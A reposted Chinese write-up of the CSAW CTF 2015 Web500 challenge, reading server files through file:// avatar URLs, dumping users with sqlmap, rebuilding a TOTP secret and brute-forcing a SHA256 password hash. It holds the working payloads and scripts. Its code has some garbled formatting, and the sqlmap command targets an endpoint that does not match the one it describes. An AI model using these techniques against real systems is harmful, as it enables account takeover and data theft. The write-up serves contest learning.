CTF Writeup:CSAW CTF 2015 Web500解题过程


发布人:admin分类:网络安全浏览量:30发布时间:2017-12-12

在上周我有幸参加了CSAW CTF比赛,最终我的团队获得了参加决赛的资格。在我们挑战的所有题目中,其中Web类500分的题是我见过的最有趣的,也是最符合真实环境的题目。接下来我就来讲讲我们是如何拿到这道题的旗子的。

面临的挑战

Web 500应用被称为"Weebdate",是一个被称为“superior security in the wake of the Ashley Madison hack”的模拟数据站点,该应用采用Time-based One-time Password (TOTP)[基于时间的一次性密码]算法,作为所有账户身份验证的第二个因素,简单点说也就是意味着用户登录需要提供用户名,密码,以及TOTP算法获取的值。该题的目标是绕过TOTP验证码以及唐纳德·特朗普(美国地产大亨)的Weebdate账户密码。

本地文件包含

我们注册一个账户之后,找到“编辑个人资料”页面

http://54.210.118.179/profile/edit

个人资料编辑页面运行用户编辑个性签名以及头像,个性签名这个功能中没啥特别有趣的东西,接着我们将目光移向了头像编辑上。

如上图所示,个人头像区域支持URL。经过测试,我们确定了头像区域的URL会经过Python urllib.urlopen函数进行处理,检测这个文件确实是一张图片,并将头像区域的URL设置为已经检测过的图像文件地址。填写一个有效的图片地址所返回的HTML响应:

这个函数最有趣的地方是在检索到的文件不是一张图片,如下图所示:

我们将包含"Hello there!"句子的文件放入个人Web服务器上,然后将文件URL传递给应用程序。这样就有了上面大家看到的响应,这表明当检索到的文件不是一张图片时,文件的内容将会反映到html响应中。

这样看起来好像我们与目标进了一步,Python的 urllib.urlopen函数支持"file" scheme。我们尝试从搭载应用程序的服务器上检索/etc/hosts文件,从应用程序的头中披露的信息表明其服务器使用的是Ubuntu系统。

我们将下面的URL地址作为头像地址传递给应用程序

file://localhost/etc/hosts

下面截图显示了部分HTML响应结果

Great success!果真,将file:// URLs传递到个人头像编辑函数,允许我们从服务器上读取文件。我们再来看看应用程序的头文件,我们确定了应用程序运行了Apache。

由于服务器运行Apache,我们进而想到了抓取Apache站点配置文件。幸运女神十分眷顾我们,应用程序运行的是低于"000-default.conf"配置的标准

我们将下面的地址传递给个人头像URL中:

file://localhost/etc/apache2/sites-enabled/000-default.conf

服务器爆出了Apache站点配置文件内容,在配置文件中有一个引用传递给下面路径:

/var/www/application.wsgi

我们检索这个文件的内容,如下所示:

该文件包含了将/var/www/weeb首次添加到内部$PATH list的Python代码,然后从名为"server"的模块调用名为"app"的变量。这表明server模块有可能就存在于/var/www/weeb,如果真是这样那么很有可能就有一个名为server.py的文件。接着通过下面URL尝试检索文件:

file://localhost/var/www/weeb/server.py

ok,我们终于能够一睹搭建Weebdate网站的源代码,server.py文件的开头如下:

from flask import Flask, render_template, request, Response, redirect
from flask.ext.mysqldb import MySQL
from functools 
import wrapsimport os, pwd, grp, random, struct, time, pyotp, urllib2, urlparse, imghdr, sy
import util
sys.path.insert(0, '/home/csaw/development/weeb')

import logging, sy
logging.basicConfig(stream=sys.stderr)
app = Flask(__name__)
app.config.from_object('settings')
mysql = MySQL()
mysql.init_app(app)
utils.mysql = mysql

如上所示server.py文件调用"utils",另一个传递给/var/www/weeb/utils.py文件的请求返回了更多有关服务器的代码,开头如下所示:

# I apologize to any future developers and anyone else who may have to read this code
# :(
import time, struct, random, socket, hashlib, pyotp, hmac
def FetchOneAssoc(cursor):    
    data = cursor.fetchone()    
    if data == None:        
        return None    
    desc = cursor.description    
    res = {}    
    for (name, value) in zip(desc, data):        
        res[name[0]] = value    
    return res

此外,我们还需要获取唐纳德·特朗普的TOTP密钥,以及账户密码。再次回顾代码,我们从负责生成TOTP密钥的utils.py 和server.py中发现了以下函数:

@app.route('/register', methods=['GET', 'POST'])
def show_registration():    
    user = utils.get_user_from_cookie(request)    
    page_name = "register"    
    
    if request.method.lower() == "get":        
        page_content = render_template('register.html')        
        return render_page(page_content, 'register', user=user)    
        
    if request.method.lower() == "post":        
        username = request.form.get('username') or ''        
        password = request.form.get('password') or ''        
        if not username or not password :            
            page_content = render_template('register.html', message="Missing field")                    return render_page(page_content, page_name)
                    
        if utils.check_username(username):            
            page_content = render_template('register.html', message="That username is taken!")           return render_page(page_content, page_name)        
            
        seed = utils.generate_seed(username, request.remote_addr)        
        totp_key = utils.get_totp_key(seed)        
        utils.register_user(username, password, request.remote_addr)        
        qr_url = "http://api.qrserver.com/v1/create-qr-code/?data=otpauth://totp/%s?secret=%s&size=220x220&margin=0"%(username, totp_key)        
        page_content = render_template(            
            'register.html',            
            message='Success! <a href="/login">login here</a><br />TOTP Key: %s<br /><img src="%s" />' % (totp_key, qr_url)        
                  )        
                  return render_page(page_content, page_name)
def generate_seed(username, ip_address):    
return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]

def get_totp_key(seed):    
    random.seed(seed)    
    return pyotp.random_base32(16, random)

下面的函数负责在应用程序数据库创建用户记录:

def register_user(username, password, ip_address):    
    password = hashlib.sha256(username+password).hexdigest()    
    cursor = mysql.connection.cursor()    
    cursor.execute(        
        'insert into users (user_name, user_password, user_ip) VALUES (%s, %s, %s)',        
        (username, password, ip_address)    
    )    
    mysql.connection.commit()

纵观上面的种种,显然我们需要获取唐纳德·特朗普注册时的IP地址来生成它的TOTP密钥,并把他的密码存储在应用程序的数据库中,我们只有想另外的方法搞定数据库了….

SQL注入

从server.py中获取到下面代码:

@app.route('/csp/view/')
def csp_view(report_id):    
    return Response(repr(utils.get_csp_report(report_id)), mimetype='text/json')

从utils.py文件中我们发现utils.get_csp_report函数:

def get_csp_report(report_id):    
    cursor = mysql.connection.cursor()    
    cursor.execute(        
        'select * from reports where report_id = %s'%        
        (report_id,)    
    )    
    return FetchOneAssoc(cursor)

将两者联系起来,很明显/csp/view/<repord_id>端点存在SQL注入。

使用sqlmap从weeb数据库列出user表中的内容,通过下面命令:

sqlmap -u "http://54.210.118.179/profile/edit" --dump -D weeb -T users

果然,唐纳德·特朗普的账号在表中就排第一。

现在我们就需要生成TOTP密钥了,并破解其密码hash

生成TOTP密钥

就像之前我们说到的,生成TOTP密钥需要用户名以及注册IP地址。

因为我们已经获得生成TOTP密钥的两类信息,接下来我就基于从server.py和utils.py文件发现的代码,写了一个Python脚本来生成TOTP密钥。

import struct
import socket
import pyotp
import random

ip_address = "64.124.192.210"
username = "donaldtrump"

seed = int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]
random.seed(seed)
print(pyotp.random_base32(16, random))

运行脚本后的结果如下:

此处应该可以有掌声和尖叫声,现在只剩下破解密码hash

密码破解

从上面的register_user函数中我们可以看到使用账户和密码生成的密码hash存储在应用程序数据库

password = hashlib.sha256(username+password).hexdigest()

现有的彩虹表,对我们现在这种情况帮助不大。我使用最常见的10k密码字典来爆破唐纳德·特朗普的密码hash

import hashlib
file_path = "/Users/lavalamp/Documents/Hacking Lists/Passwords/10k most common.txt"
to_match = "22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3"
username = "donaldtrump"

with open(file_path, "r") as f:    
    contents = f.read()
c_split = [x.strip() for x in contents.split("\n")]

for line in c_split:    
    result = hashlib.sha256(username + line).hexdigest()    
    if result == to_match:        
        print("Found his password: %s!" % (line,))

脚本运行结果:

尖叫吧!

最后的整理

在CSAW比赛官网中对flag的描述如下:

md5($TOTPsecret.$zebra)

这是一个PHP代码片段,将本地PHP脚本进行整理,然后执行:

<?php echo md5("6OIMTPLHSQ6JUKYPzebra"); ?>

代码运行结果如下:

ok,这是一个有效的flag值。我们团队成功获得500分,瞬间提高了我们的排名。

最后希望你能够喜欢这篇Writeup

* 参考来源:avala,编译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21446646(PV) 页面执行时间:64.576(MS)
  • xml
  • 网站地图